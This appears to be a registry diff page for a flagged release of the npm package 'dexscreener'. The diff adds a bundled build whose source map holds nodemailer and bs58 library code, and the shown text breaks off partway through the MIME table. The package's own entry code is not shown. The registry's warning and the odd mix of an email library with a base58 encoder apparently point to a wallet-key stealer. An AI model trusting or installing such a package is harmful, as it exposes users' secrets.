dexscreener 0.0.1-security → 1.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of dexscreener might be problematic. Click here for more details.
- package/dist/index.js +2 -0
- package/dist/index.js.map +1 -0
- package/package.json +28 -4
- package/README.md +0 -5
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.js","sources":["../node_modules/nodemailer/lib/fetch/index.js","../node_modules/nodemailer/lib/fetch/cookies.js","../node_modules/nodemailer/lib/shared/index.js","../node_modules/nodemailer/lib/mime-funcs/mime-types.js","../node_modules/nodemailer/lib/punycode/index.js","../node_modules/nodemailer/lib/base64/index.js","../node_modules/nodemailer/lib/qp/index.js","../node_modules/nodemailer/lib/mime-funcs/index.js","../node_modules/nodemailer/lib/addressparser/index.js","../node_modules/nodemailer/lib/mime-node/le-windows.js","../node_modules/nodemailer/lib/mime-node/index.js","../node_modules/nodemailer/lib/mime-node/last-newline.js","../node_modules/nodemailer/lib/mime-node/le-unix.js","../node_modules/nodemailer/lib/dkim/sign.js","../node_modules/nodemailer/lib/dkim/index.js","../node_modules/nodemailer/lib/dkim/message-parser.js","../node_modules/nodemailer/lib/dkim/relaxed-body.js","../node_modules/nodemailer/lib/mailer/index.js","../node_modules/nodemailer/lib/mail-composer/index.js","../node_modules/nodemailer/lib/smtp-connection/http-proxy-client.js","../node_modules/nodemailer/lib/mailer/mail-message.js","../node_modules/nodemailer/lib/smtp-connection/index.js","../node_modules/nodemailer/lib/smtp-connection/data-stream.js","../node_modules/nodemailer/lib/xoauth2/index.js","../node_modules/nodemailer/lib/well-known/index.js","../node_modules/nodemailer/lib/smtp-pool/index.js","../node_modules/nodemailer/lib/smtp-pool/pool-resource.js","../node_modules/nodemailer/lib/ses-transport/index.js","../node_modules/nodemailer/lib/nodemailer.js","../node_modules/nodemailer/lib/smtp-transport/index.js","../node_modules/nodemailer/lib/sendmail-transport/index.js","../node_modules/nodemailer/lib/stream-transport/index.js","../node_modules/nodemailer/lib/json-transport/index.js","../node_modules/bs58/index.js","../node_modules/base-x/src/index.js","../index.js?commonjs-entry","../index.js"],"sourcesContent":["'use strict';\n\nconst http = require('http');\nconst https = require('https');\nconst urllib = require('url');\nconst zlib = require('zlib');\nconst PassThrough = require('stream').PassThrough;\nconst Cookies = require('./cookies');\nconst packageData = require('../../package.json');\nconst net = require('net');\n\nconst MAX_REDIRECTS = 5;\n\nmodule.exports = function (url, options) {\n return nmfetch(url, options);\n};\n\nmodule.exports.Cookies = Cookies;\n\nfunction nmfetch(url, options) {\n options = options || {};\n\n options.fetchRes = options.fetchRes || new PassThrough();\n options.cookies = options.cookies || new Cookies();\n options.redirects = options.redirects || 0;\n options.maxRedirects = isNaN(options.maxRedirects) ? MAX_REDIRECTS : options.maxRedirects;\n\n if (options.cookie) {\n [].concat(options.cookie || []).forEach(cookie => {\n options.cookies.set(cookie, url);\n });\n options.cookie = false;\n }\n\n let fetchRes = options.fetchRes;\n let parsed = urllib.parse(url);\n let method = (options.method || '').toString().trim().toUpperCase() || 'GET';\n let finished = false;\n let cookies;\n let body;\n\n let handler = parsed.protocol === 'https:' ? https : http;\n\n let headers = {\n 'accept-encoding': 'gzip,deflate',\n 'user-agent': 'nodemailer/' + packageData.version\n };\n\n Object.keys(options.headers || {}).forEach(key => {\n headers[key.toLowerCase().trim()] = options.headers[key];\n });\n\n if (options.userAgent) {\n headers['user-agent'] = options.userAgent;\n }\n\n if (parsed.auth) {\n headers.Authorization = 'Basic ' + Buffer.from(parsed.auth).toString('base64');\n }\n\n if ((cookies = options.cookies.get(url))) {\n headers.cookie = cookies;\n }\n\n if (options.body) {\n if (options.contentType !== false) {\n headers['Content-Type'] = options.contentType || 'application/x-www-form-urlencoded';\n }\n\n if (typeof options.body.pipe === 'function') {\n // it's a stream\n headers['Transfer-Encoding'] = 'chunked';\n body = options.body;\n body.on('error', err => {\n if (finished) {\n return;\n }\n finished = true;\n err.type = 'FETCH';\n err.sourceUrl = url;\n fetchRes.emit('error', err);\n });\n } else {\n if (options.body instanceof Buffer) {\n body = options.body;\n } else if (typeof options.body === 'object') {\n try {\n // encodeURIComponent can fail on invalid input (partial emoji etc.)\n body = Buffer.from(\n Object.keys(options.body)\n .map(key => {\n let value = options.body[key].toString().trim();\n return encodeURIComponent(key) + '=' + encodeURIComponent(value);\n })\n .join('&')\n );\n } catch (E) {\n if (finished) {\n return;\n }\n finished = true;\n E.type = 'FETCH';\n E.sourceUrl = url;\n fetchRes.emit('error', E);\n return;\n }\n } else {\n body = Buffer.from(options.body.toString().trim());\n }\n\n headers['Content-Type'] = options.contentType || 'application/x-www-form-urlencoded';\n headers['Content-Length'] = body.length;\n }\n // if method is not provided, use POST instead of GET\n method = (options.method || '').toString().trim().toUpperCase() || 'POST';\n }\n\n let req;\n let reqOptions = {\n method,\n host: parsed.hostname,\n path: parsed.path,\n port: parsed.port ? parsed.port : parsed.protocol === 'https:' ? 443 : 80,\n headers,\n rejectUnauthorized: false,\n agent: false\n };\n\n if (options.tls) {\n Object.keys(options.tls).forEach(key => {\n reqOptions[key] = options.tls[key];\n });\n }\n\n if (parsed.protocol === 'https:' && parsed.hostname && parsed.hostname !== reqOptions.host && !net.isIP(parsed.hostname) && !reqOptions.servername) {\n reqOptions.servername = parsed.hostname;\n }\n\n try {\n req = handler.request(reqOptions);\n } catch (E) {\n finished = true;\n setImmediate(() => {\n E.type = 'FETCH';\n E.sourceUrl = url;\n fetchRes.emit('error', E);\n });\n return fetchRes;\n }\n\n if (options.timeout) {\n req.setTimeout(options.timeout, () => {\n if (finished) {\n return;\n }\n finished = true;\n req.abort();\n let err = new Error('Request Timeout');\n err.type = 'FETCH';\n err.sourceUrl = url;\n fetchRes.emit('error', err);\n });\n }\n\n req.on('error', err => {\n if (finished) {\n return;\n }\n finished = true;\n err.type = 'FETCH';\n err.sourceUrl = url;\n fetchRes.emit('error', err);\n });\n\n req.on('response', res => {\n let inflate;\n\n if (finished) {\n return;\n }\n\n switch (res.headers['content-encoding']) {\n case 'gzip':\n case 'deflate':\n inflate = zlib.createUnzip();\n break;\n }\n\n if (res.headers['set-cookie']) {\n [].concat(res.headers['set-cookie'] || []).forEach(cookie => {\n options.cookies.set(cookie, url);\n });\n }\n\n if ([301, 302, 303, 307, 308].includes(res.statusCode) && res.headers.location) {\n // redirect\n options.redirects++;\n if (options.redirects > options.maxRedirects) {\n finished = true;\n let err = new Error('Maximum redirect count exceeded');\n err.type = 'FETCH';\n err.sourceUrl = url;\n fetchRes.emit('error', err);\n req.abort();\n return;\n }\n // redirect does not include POST body\n options.method = 'GET';\n options.body = false;\n return nmfetch(urllib.resolve(url, res.headers.location), options);\n }\n\n fetchRes.statusCode = res.statusCode;\n fetchRes.headers = res.headers;\n\n if (res.statusCode >= 300 && !options.allowErrorResponse) {\n finished = true;\n let err = new Error('Invalid status code ' + res.statusCode);\n err.type = 'FETCH';\n err.sourceUrl = url;\n fetchRes.emit('error', err);\n req.abort();\n return;\n }\n\n res.on('error', err => {\n if (finished) {\n return;\n }\n finished = true;\n err.type = 'FETCH';\n err.sourceUrl = url;\n fetchRes.emit('error', err);\n req.abort();\n });\n\n if (inflate) {\n res.pipe(inflate).pipe(fetchRes);\n inflate.on('error', err => {\n if (finished) {\n return;\n }\n finished = true;\n err.type = 'FETCH';\n err.sourceUrl = url;\n fetchRes.emit('error', err);\n req.abort();\n });\n } else {\n res.pipe(fetchRes);\n }\n });\n\n setImmediate(() => {\n if (body) {\n try {\n if (typeof body.pipe === 'function') {\n return body.pipe(req);\n } else {\n req.write(body);\n }\n } catch (err) {\n finished = true;\n err.type = 'FETCH';\n err.sourceUrl = url;\n fetchRes.emit('error', err);\n return;\n }\n }\n req.end();\n });\n\n return fetchRes;\n}\n","'use strict';\n\n// module to handle cookies\n\nconst urllib = require('url');\n\nconst SESSION_TIMEOUT = 1800; // 30 min\n\n/**\n * Creates a biskviit cookie jar for managing cookie values in memory\n *\n * @constructor\n * @param {Object} [options] Optional options object\n */\nclass Cookies {\n constructor(options) {\n this.options = options || {};\n this.cookies = [];\n }\n\n /**\n * Stores a cookie string to the cookie storage\n *\n * @param {String} cookieStr Value from the 'Set-Cookie:' header\n * @param {String} url Current URL\n */\n set(cookieStr, url) {\n let urlparts = urllib.parse(url || '');\n let cookie = this.parse(cookieStr);\n let domain;\n\n if (cookie.domain) {\n domain = cookie.domain.replace(/^\\./, '');\n\n // do not allow cross origin cookies\n if (\n // can't be valid if the requested domain is shorter than current hostname\n urlparts.hostname.length < domain.length ||\n // prefix domains with dot to be sure that partial matches are not used\n ('.' + urlparts.hostname).substr(-domain.length + 1) !== '.' + domain\n ) {\n cookie.domain = urlparts.hostname;\n }\n } else {\n cookie.domain = urlparts.hostname;\n }\n\n if (!cookie.path) {\n cookie.path = this.getPath(urlparts.pathname);\n }\n\n // if no expire date, then use sessionTimeout value\n if (!cookie.expires) {\n cookie.expires = new Date(Date.now() + (Number(this.options.sessionTimeout || SESSION_TIMEOUT) || SESSION_TIMEOUT) * 1000);\n }\n\n return this.add(cookie);\n }\n\n /**\n * Returns cookie string for the 'Cookie:' header.\n *\n * @param {String} url URL to check for\n * @returns {String} Cookie header or empty string if no matches were found\n */\n get(url) {\n return this.list(url)\n .map(cookie => cookie.name + '=' + cookie.value)\n .join('; ');\n }\n\n /**\n * Lists all valied cookie objects for the specified URL\n *\n * @param {String} url URL to check for\n * @returns {Array} An array of cookie objects\n */\n list(url) {\n let result = [];\n let i;\n let cookie;\n\n for (i = this.cookies.length - 1; i >= 0; i--) {\n cookie = this.cookies[i];\n\n if (this.isExpired(cookie)) {\n this.cookies.splice(i, i);\n continue;\n }\n\n if (this.match(cookie, url)) {\n result.unshift(cookie);\n }\n }\n\n return result;\n }\n\n /**\n * Parses cookie string from the 'Set-Cookie:' header\n *\n * @param {String} cookieStr String from the 'Set-Cookie:' header\n * @returns {Object} Cookie object\n */\n parse(cookieStr) {\n let cookie = {};\n\n (cookieStr || '')\n .toString()\n .split(';')\n .forEach(cookiePart => {\n let valueParts = cookiePart.split('=');\n let key = valueParts.shift().trim().toLowerCase();\n let value = valueParts.join('=').trim();\n let domain;\n\n if (!key) {\n // skip empty parts\n return;\n }\n\n switch (key) {\n case 'expires':\n value = new Date(value);\n // ignore date if can not parse it\n if (value.toString() !== 'Invalid Date') {\n cookie.expires = value;\n }\n break;\n\n case 'path':\n cookie.path = value;\n break;\n\n case 'domain':\n domain = value.toLowerCase();\n if (domain.length && domain.charAt(0) !== '.') {\n domain = '.' + domain; // ensure preceeding dot for user set domains\n }\n cookie.domain = domain;\n break;\n\n case 'max-age':\n cookie.expires = new Date(Date.now() + (Number(value) || 0) * 1000);\n break;\n\n case 'secure':\n cookie.secure = true;\n break;\n\n case 'httponly':\n cookie.httponly = true;\n break;\n\n default:\n if (!cookie.name) {\n cookie.name = key;\n cookie.value = value;\n }\n }\n });\n\n return cookie;\n }\n\n /**\n * Checks if a cookie object is valid for a specified URL\n *\n * @param {Object} cookie Cookie object\n * @param {String} url URL to check for\n * @returns {Boolean} true if cookie is valid for specifiec URL\n */\n match(cookie, url) {\n let urlparts = urllib.parse(url || '');\n\n // check if hostname matches\n // .foo.com also matches subdomains, foo.com does not\n if (\n urlparts.hostname !== cookie.domain &&\n (cookie.domain.charAt(0) !== '.' || ('.' + urlparts.hostname).substr(-cookie.domain.length) !== cookie.domain)\n ) {\n return false;\n }\n\n // check if path matches\n let path = this.getPath(urlparts.pathname);\n if (path.substr(0, cookie.path.length) !== cookie.path) {\n return false;\n }\n\n // check secure argument\n if (cookie.secure && urlparts.protocol !== 'https:') {\n return false;\n }\n\n return true;\n }\n\n /**\n * Adds (or updates/removes if needed) a cookie object to the cookie storage\n *\n * @param {Object} cookie Cookie value to be stored\n */\n add(cookie) {\n let i;\n let len;\n\n // nothing to do here\n if (!cookie || !cookie.name) {\n return false;\n }\n\n // overwrite if has same params\n for (i = 0, len = this.cookies.length; i < len; i++) {\n if (this.compare(this.cookies[i], cookie)) {\n // check if the cookie needs to be removed instead\n if (this.isExpired(cookie)) {\n this.cookies.splice(i, 1); // remove expired/unset cookie\n return false;\n }\n\n this.cookies[i] = cookie;\n return true;\n }\n }\n\n // add as new if not already expired\n if (!this.isExpired(cookie)) {\n this.cookies.push(cookie);\n }\n\n return true;\n }\n\n /**\n * Checks if two cookie objects are the same\n *\n * @param {Object} a Cookie to check against\n * @param {Object} b Cookie to check against\n * @returns {Boolean} True, if the cookies are the same\n */\n compare(a, b) {\n return a.name === b.name && a.path === b.path && a.domain === b.domain && a.secure === b.secure && a.httponly === a.httponly;\n }\n\n /**\n * Checks if a cookie is expired\n *\n * @param {Object} cookie Cookie object to check against\n * @returns {Boolean} True, if the cookie is expired\n */\n isExpired(cookie) {\n return (cookie.expires && cookie.expires < new Date()) || !cookie.value;\n }\n\n /**\n * Returns normalized cookie path for an URL path argument\n *\n * @param {String} pathname\n * @returns {String} Normalized path\n */\n getPath(pathname) {\n let path = (pathname || '/').split('/');\n path.pop(); // remove filename part\n path = path.join('/').trim();\n\n // ensure path prefix /\n if (path.charAt(0) !== '/') {\n path = '/' + path;\n }\n\n // ensure path suffix /\n if (path.substr(-1) !== '/') {\n path += '/';\n }\n\n return path;\n }\n}\n\nmodule.exports = Cookies;\n","/* eslint no-console: 0 */\n\n'use strict';\n\nconst urllib = require('url');\nconst util = require('util');\nconst fs = require('fs');\nconst nmfetch = require('../fetch');\nconst dns = require('dns');\nconst net = require('net');\nconst os = require('os');\n\nconst DNS_TTL = 5 * 60 * 1000;\n\nlet networkInterfaces;\ntry {\n networkInterfaces = os.networkInterfaces();\n} catch (err) {\n // fails on some systems\n}\n\nmodule.exports.networkInterfaces = networkInterfaces;\n\nconst isFamilySupported = (family, allowInternal) => {\n let networkInterfaces = module.exports.networkInterfaces;\n if (!networkInterfaces) {\n // hope for the best\n return true;\n }\n\n const familySupported =\n // crux that replaces Object.values(networkInterfaces) as Object.values is not supported in nodejs v6\n Object.keys(networkInterfaces)\n .map(key => networkInterfaces[key])\n // crux that replaces .flat() as it is not supported in older Node versions (v10 and older)\n .reduce((acc, val) => acc.concat(val), [])\n .filter(i => !i.internal || allowInternal)\n .filter(i => i.family === 'IPv' + family || i.family === family).length > 0;\n\n return familySupported;\n};\n\nconst resolver = (family, hostname, options, callback) => {\n options = options || {};\n const familySupported = isFamilySupported(family, options.allowInternalNetworkInterfaces);\n\n if (!familySupported) {\n return callback(null, []);\n }\n\n const resolver = dns.Resolver ? new dns.Resolver(options) : dns;\n resolver['resolve' + family](hostname, (err, addresses) => {\n if (err) {\n switch (err.code) {\n case dns.NODATA:\n case dns.NOTFOUND:\n case dns.NOTIMP:\n case dns.SERVFAIL:\n case dns.CONNREFUSED:\n case dns.REFUSED:\n case 'EAI_AGAIN':\n return callback(null, []);\n }\n return callback(err);\n }\n return callback(null, Array.isArray(addresses) ? addresses : [].concat(addresses || []));\n });\n};\n\nconst dnsCache = (module.exports.dnsCache = new Map());\n\nconst formatDNSValue = (value, extra) => {\n if (!value) {\n return Object.assign({}, extra || {});\n }\n\n return Object.assign(\n {\n servername: value.servername,\n host:\n !value.addresses || !value.addresses.length\n ? null\n : value.addresses.length === 1\n ? value.addresses[0]\n : value.addresses[Math.floor(Math.random() * value.addresses.length)]\n },\n extra || {}\n );\n};\n\nmodule.exports.resolveHostname = (options, callback) => {\n options = options || {};\n\n if (!options.host && options.servername) {\n options.host = options.servername;\n }\n\n if (!options.host || net.isIP(options.host)) {\n // nothing to do here\n let value = {\n addresses: [options.host],\n servername: options.servername || false\n };\n return callback(\n null,\n formatDNSValue(value, {\n cached: false\n })\n );\n }\n\n let cached;\n if (dnsCache.has(options.host)) {\n cached = dnsCache.get(options.host);\n\n if (!cached.expires || cached.expires >= Date.now()) {\n return callback(\n null,\n formatDNSValue(cached.value, {\n cached: true\n })\n );\n }\n }\n\n resolver(4, options.host, options, (err, addresses) => {\n if (err) {\n if (cached) {\n // ignore error, use expired value\n return callback(\n null,\n formatDNSValue(cached.value, {\n cached: true,\n error: err\n })\n );\n }\n return callback(err);\n }\n\n if (addresses && addresses.length) {\n let value = {\n addresses,\n servername: options.servername || options.host\n };\n\n dnsCache.set(options.host, {\n value,\n expires: Date.now() + (options.dnsTtl || DNS_TTL)\n });\n\n return callback(\n null,\n formatDNSValue(value, {\n cached: false\n })\n );\n }\n\n resolver(6, options.host, options, (err, addresses) => {\n if (err) {\n if (cached) {\n // ignore error, use expired value\n return callback(\n null,\n formatDNSValue(cached.value, {\n cached: true,\n error: err\n })\n );\n }\n return callback(err);\n }\n\n if (addresses && addresses.length) {\n let value = {\n addresses,\n servername: options.servername || options.host\n };\n\n dnsCache.set(options.host, {\n value,\n expires: Date.now() + (options.dnsTtl || DNS_TTL)\n });\n\n return callback(\n null,\n formatDNSValue(value, {\n cached: false\n })\n );\n }\n\n try {\n dns.lookup(options.host, { all: true }, (err, addresses) => {\n if (err) {\n if (cached) {\n // ignore error, use expired value\n return callback(\n null,\n formatDNSValue(cached.value, {\n cached: true,\n error: err\n })\n );\n }\n return callback(err);\n }\n\n let address = addresses\n ? addresses\n .filter(addr => isFamilySupported(addr.family))\n .map(addr => addr.address)\n .shift()\n : false;\n\n if (addresses && addresses.length && !address) {\n // there are addresses but none can be used\n console.warn(`Failed to resolve IPv${addresses[0].family} addresses with current network`);\n }\n\n if (!address && cached) {\n // nothing was found, fallback to cached value\n return callback(\n null,\n formatDNSValue(cached.value, {\n cached: true\n })\n );\n }\n\n let value = {\n addresses: address ? [address] : [options.host],\n servername: options.servername || options.host\n };\n\n dnsCache.set(options.host, {\n value,\n expires: Date.now() + (options.dnsTtl || DNS_TTL)\n });\n\n return callback(\n null,\n formatDNSValue(value, {\n cached: false\n })\n );\n });\n } catch (err) {\n if (cached) {\n // ignore error, use expired value\n return callback(\n null,\n formatDNSValue(cached.value, {\n cached: true,\n error: err\n })\n );\n }\n return callback(err);\n }\n });\n });\n};\n/**\n * Parses connection url to a structured configuration object\n *\n * @param {String} str Connection url\n * @return {Object} Configuration object\n */\nmodule.exports.parseConnectionUrl = str => {\n str = str || '';\n let options = {};\n\n [urllib.parse(str, true)].forEach(url => {\n let auth;\n\n switch (url.protocol) {\n case 'smtp:':\n options.secure = false;\n break;\n case 'smtps:':\n options.secure = true;\n break;\n case 'direct:':\n options.direct = true;\n break;\n }\n\n if (!isNaN(url.port) && Number(url.port)) {\n options.port = Number(url.port);\n }\n\n if (url.hostname) {\n options.host = url.hostname;\n }\n\n if (url.auth) {\n auth = url.auth.split(':');\n\n if (!options.auth) {\n options.auth = {};\n }\n\n options.auth.user = auth.shift();\n options.auth.pass = auth.join(':');\n }\n\n Object.keys(url.query || {}).forEach(key => {\n let obj = options;\n let lKey = key;\n let value = url.query[key];\n\n if (!isNaN(value)) {\n value = Number(value);\n }\n\n switch (value) {\n case 'true':\n value = true;\n break;\n case 'false':\n value = false;\n break;\n }\n\n // tls is nested object\n if (key.indexOf('tls.') === 0) {\n lKey = key.substr(4);\n if (!options.tls) {\n options.tls = {};\n }\n obj = options.tls;\n } else if (key.indexOf('.') >= 0) {\n // ignore nested properties besides tls\n return;\n }\n\n if (!(lKey in obj)) {\n obj[lKey] = value;\n }\n });\n });\n\n return options;\n};\n\nmodule.exports._logFunc = (logger, level, defaults, data, message, ...args) => {\n let entry = {};\n\n Object.keys(defaults || {}).forEach(key => {\n if (key !== 'level') {\n entry[key] = defaults[key];\n }\n });\n\n Object.keys(data || {}).forEach(key => {\n if (key !== 'level') {\n entry[key] = data[key];\n }\n });\n\n logger[level](entry, message, ...args);\n};\n\n/**\n * Returns a bunyan-compatible logger interface. Uses either provided logger or\n * creates a default console logger\n *\n * @param {Object} [options] Options object that might include 'logger' value\n * @return {Object} bunyan compatible logger\n */\nmodule.exports.getLogger = (options, defaults) => {\n options = options || {};\n\n let response = {};\n let levels = ['trace', 'debug', 'info', 'warn', 'error', 'fatal'];\n\n if (!options.logger) {\n // use vanity logger\n levels.forEach(level => {\n response[level] = () => false;\n });\n return response;\n }\n\n let logger = options.logger;\n\n if (options.logger === true) {\n // create console logger\n logger = createDefaultLogger(levels);\n }\n\n levels.forEach(level => {\n response[level] = (data, message, ...args) => {\n module.exports._logFunc(logger, level, defaults, data, message, ...args);\n };\n });\n\n return response;\n};\n\n/**\n * Wrapper for creating a callback that either resolves or rejects a promise\n * based on input\n *\n * @param {Function} resolve Function to run if callback is called\n * @param {Function} reject Function to run if callback ends with an error\n */\nmodule.exports.callbackPromise = (resolve, reject) =>\n function () {\n let args = Array.from(arguments);\n let err = args.shift();\n if (err) {\n reject(err);\n } else {\n resolve(...args);\n }\n };\n\nmodule.exports.parseDataURI = uri => {\n let input = uri;\n let commaPos = input.indexOf(',');\n if (!commaPos) {\n return uri;\n }\n\n let data = input.substring(commaPos + 1);\n let metaStr = input.substring('data:'.length, commaPos);\n\n let encoding;\n\n let metaEntries = metaStr.split(';');\n let lastMetaEntry = metaEntries.length > 1 ? metaEntries[metaEntries.length - 1] : false;\n if (lastMetaEntry && lastMetaEntry.indexOf('=') < 0) {\n encoding = lastMetaEntry.toLowerCase();\n metaEntries.pop();\n }\n\n let contentType = metaEntries.shift() || 'application/octet-stream';\n let params = {};\n for (let entry of metaEntries) {\n let sep = entry.indexOf('=');\n if (sep >= 0) {\n let key = entry.substring(0, sep);\n let value = entry.substring(sep + 1);\n params[key] = value;\n }\n }\n\n switch (encoding) {\n case 'base64':\n data = Buffer.from(data, 'base64');\n break;\n case 'utf8':\n data = Buffer.from(data);\n break;\n default:\n try {\n data = Buffer.from(decodeURIComponent(data));\n } catch (err) {\n data = Buffer.from(data);\n }\n data = Buffer.from(data);\n }\n\n return { data, encoding, contentType, params };\n};\n\n/**\n * Resolves a String or a Buffer value for content value. Useful if the value\n * is a Stream or a file or an URL. If the value is a Stream, overwrites\n * the stream object with the resolved value (you can't stream a value twice).\n *\n * This is useful when you want to create a plugin that needs a content value,\n * for example the `html` or `text` value as a String or a Buffer but not as\n * a file path or an URL.\n *\n * @param {Object} data An object or an Array you want to resolve an element for\n * @param {String|Number} key Property name or an Array index\n * @param {Function} callback Callback function with (err, value)\n */\nmodule.exports.resolveContent = (data, key, callback) => {\n let promise;\n\n if (!callback) {\n promise = new Promise((resolve, reject) => {\n callback = module.exports.callbackPromise(resolve, reject);\n });\n }\n\n let content = (data && data[key] && data[key].content) || data[key];\n let contentStream;\n let encoding = ((typeof data[key] === 'object' && data[key].encoding) || 'utf8')\n .toString()\n .toLowerCase()\n .replace(/[-_\\s]/g, '');\n\n if (!content) {\n return callback(null, content);\n }\n\n if (typeof content === 'object') {\n if (typeof content.pipe === 'function') {\n return resolveStream(content, (err, value) => {\n if (err) {\n return callback(err);\n }\n // we can't stream twice the same content, so we need\n // to replace the stream object with the streaming result\n if (data[key].content) {\n data[key].content = value;\n } else {\n data[key] = value;\n }\n callback(null, value);\n });\n } else if (/^https?:\\/\\//i.test(content.path || content.href)) {\n contentStream = nmfetch(content.path || content.href);\n return resolveStream(contentStream, callback);\n } else if (/^data:/i.test(content.path || content.href)) {\n let parsedDataUri = module.exports.parseDataURI(content.path || content.href);\n\n if (!parsedDataUri || !parsedDataUri.data) {\n return callback(null, Buffer.from(0));\n }\n return callback(null, parsedDataUri.data);\n } else if (content.path) {\n return resolveStream(fs.createReadStream(content.path), callback);\n }\n }\n\n if (typeof data[key].content === 'string' && !['utf8', 'usascii', 'ascii'].includes(encoding)) {\n content = Buffer.from(data[key].content, encoding);\n }\n\n // default action, return as is\n setImmediate(() => callback(null, content));\n\n return promise;\n};\n\n/**\n * Copies properties from source objects to target objects\n */\nmodule.exports.assign = function (/* target, ... sources */) {\n let args = Array.from(arguments);\n let target = args.shift() || {};\n\n args.forEach(source => {\n Object.keys(source || {}).forEach(key => {\n if (['tls', 'auth'].includes(key) && source[key] && typeof source[key] === 'object') {\n // tls and auth are special keys that need to be enumerated separately\n // other objects are passed as is\n if (!target[key]) {\n // ensure that target has this key\n target[key] = {};\n }\n Object.keys(source[key]).forEach(subKey => {\n target[key][subKey] = source[key][subKey];\n });\n } else {\n target[key] = source[key];\n }\n });\n });\n return target;\n};\n\nmodule.exports.encodeXText = str => {\n // ! 0x21\n // + 0x2B\n // = 0x3D\n // ~ 0x7E\n if (!/[^\\x21-\\x2A\\x2C-\\x3C\\x3E-\\x7E]/.test(str)) {\n return str;\n }\n let buf = Buffer.from(str);\n let result = '';\n for (let i = 0, len = buf.length; i < len; i++) {\n let c = buf[i];\n if (c < 0x21 || c > 0x7e || c === 0x2b || c === 0x3d) {\n result += '+' + (c < 0x10 ? '0' : '') + c.toString(16).toUpperCase();\n } else {\n result += String.fromCharCode(c);\n }\n }\n return result;\n};\n\n/**\n * Streams a stream value into a Buffer\n *\n * @param {Object} stream Readable stream\n * @param {Function} callback Callback function with (err, value)\n */\nfunction resolveStream(stream, callback) {\n let responded = false;\n let chunks = [];\n let chunklen = 0;\n\n stream.on('error', err => {\n if (responded) {\n return;\n }\n\n responded = true;\n callback(err);\n });\n\n stream.on('readable', () => {\n let chunk;\n while ((chunk = stream.read()) !== null) {\n chunks.push(chunk);\n chunklen += chunk.length;\n }\n });\n\n stream.on('end', () => {\n if (responded) {\n return;\n }\n responded = true;\n\n let value;\n\n try {\n value = Buffer.concat(chunks, chunklen);\n } catch (E) {\n return callback(E);\n }\n callback(null, value);\n });\n}\n\n/**\n * Generates a bunyan-like logger that prints to console\n *\n * @returns {Object} Bunyan logger instance\n */\nfunction createDefaultLogger(levels) {\n let levelMaxLen = 0;\n let levelNames = new Map();\n levels.forEach(level => {\n if (level.length > levelMaxLen) {\n levelMaxLen = level.length;\n }\n });\n\n levels.forEach(level => {\n let levelName = level.toUpperCase();\n if (levelName.length < levelMaxLen) {\n levelName += ' '.repeat(levelMaxLen - levelName.length);\n }\n levelNames.set(level, levelName);\n });\n\n let print = (level, entry, message, ...args) => {\n let prefix = '';\n if (entry) {\n if (entry.tnx === 'server') {\n prefix = 'S: ';\n } else if (entry.tnx === 'client') {\n prefix = 'C: ';\n }\n\n if (entry.sid) {\n prefix = '[' + entry.sid + '] ' + prefix;\n }\n\n if (entry.cid) {\n prefix = '[#' + entry.cid + '] ' + prefix;\n }\n }\n\n message = util.format(message, ...args);\n message.split(/\\r?\\n/).forEach(line => {\n console.log('[%s] %s %s', new Date().toISOString().substr(0, 19).replace(/T/, ' '), levelNames.get(level), prefix + line);\n });\n };\n\n let logger = {};\n levels.forEach(level => {\n logger[level] = print.bind(null, level);\n });\n\n return logger;\n}\n","/* eslint quote-props: 0 */\n\n'use strict';\n\nconst path = require('path');\n\nconst defaultMimeType = 'application/octet-stream';\nconst defaultExtension = 'bin';\n\nconst mimeTypes = new Map([\n ['application/acad', 'dwg'],\n ['application/applixware', 'aw'],\n ['application/arj', 'arj'],\n ['application/atom+xml', 'xml'],\n ['application/atomcat+xml', 'atomcat'],\n ['application/atomsvc+xml', 'atomsvc'],\n ['application/base64', ['mm', 'mme']],\n ['application/binhex', 'hqx'],\n ['application/binhex4', 'hqx'],\n ['application/book', ['book', 'boo']],\n ['application/ccxml+xml,', 'ccxml'],\n ['application/cdf', 'cdf'],\n ['application/cdmi-capability', 'cdmia'],\n ['application/cdmi-container', 'cdmic'],\n ['application/cdmi-domain', 'cdmid'],\n ['application/cdmi-object', 'cdmio'],\n ['application/cdmi-queue', 'cdmiq'],\n ['application/clariscad', 'ccad'],\n ['application/commonground', 'dp'],\n ['application/cu-seeme', 'cu'],\n ['application/davmount+xml', 'davmount'],\n ['application/drafting', 'drw'],\n ['application/dsptype', 'tsp'],\n ['application/dssc+der', 'dssc'],\n ['application/dssc+xml', 'xdssc'],\n ['application/dxf', 'dxf'],\n ['application/ecmascript', ['js', 'es']],\n ['application/emma+xml', 'emma'],\n ['application/envoy', 'evy'],\n ['application/epub+zip', 'epub'],\n ['application/excel', ['xls', 'xl', 'xla', 'xlb', 'xlc', 'xld', 'xlk', 'xll', 'xlm', 'xlt', 'xlv', 'xlw']],\n ['application/exi', 'exi'],\n ['application/font-tdpfr', 'pfr'],\n ['application/fractals', 'fif'],\n ['application/freeloader', 'frl'],\n ['application/futuresplash', 'spl'],\n ['application/geo+json', 'geojson'],\n ['application/gnutar', 'tgz'],\n ['application/groupwise', 'vew'],\n ['application/hlp', 'hlp'],\n ['application/hta', 'hta'],\n ['application/hyperstudio', 'stk'],\n ['application/i-deas', 'unv'],\n ['application/iges', ['iges', 'igs']],\n ['application/inf', 'inf'],\n ['application/internet-property-stream', 'acx'],\n ['application/ipfix', 'ipfix'],\n ['application/java', 'class'],\n ['application/java-archive', 'jar'],\n ['application/java-byte-code', 'class'],\n ['application/java-serialized-object', 'ser'],\n ['application/java-vm', 'class'],\n ['application/javascript', 'js'],\n ['application/json', 'json'],\n ['application/lha', 'lha'],\n ['application/lzx', 'lzx'],\n ['application/mac-binary', 'bin'],\n ['application/mac-binhex', 'hqx'],\n ['application/mac-binhex40', 'hqx'],\n ['application/mac-compactpro', 'cpt'],\n ['application/macbinary', 'bin'],\n ['application/mads+xml', 'mads'],\n ['application/marc', 'mrc'],\n ['application/marcxml+xml', 'mrcx'],\n ['application/mathematica', 'ma'],\n ['application/mathml+xml', 'mathml'],\n ['application/mbedlet', 'mbd'],\n ['application/mbox', 'mbox'],\n ['application/mcad', 'mcd'],\n ['application/mediaservercontrol+xml', 'mscml'],\n ['application/metalink4+xml', 'meta4'],\n ['application/mets+xml', 'mets'],\n ['application/mime', 'aps'],\n ['application/mods+xml', 'mods'],\n ['application/mp21', 'm21'],\n ['application/mp4', 'mp4'],\n 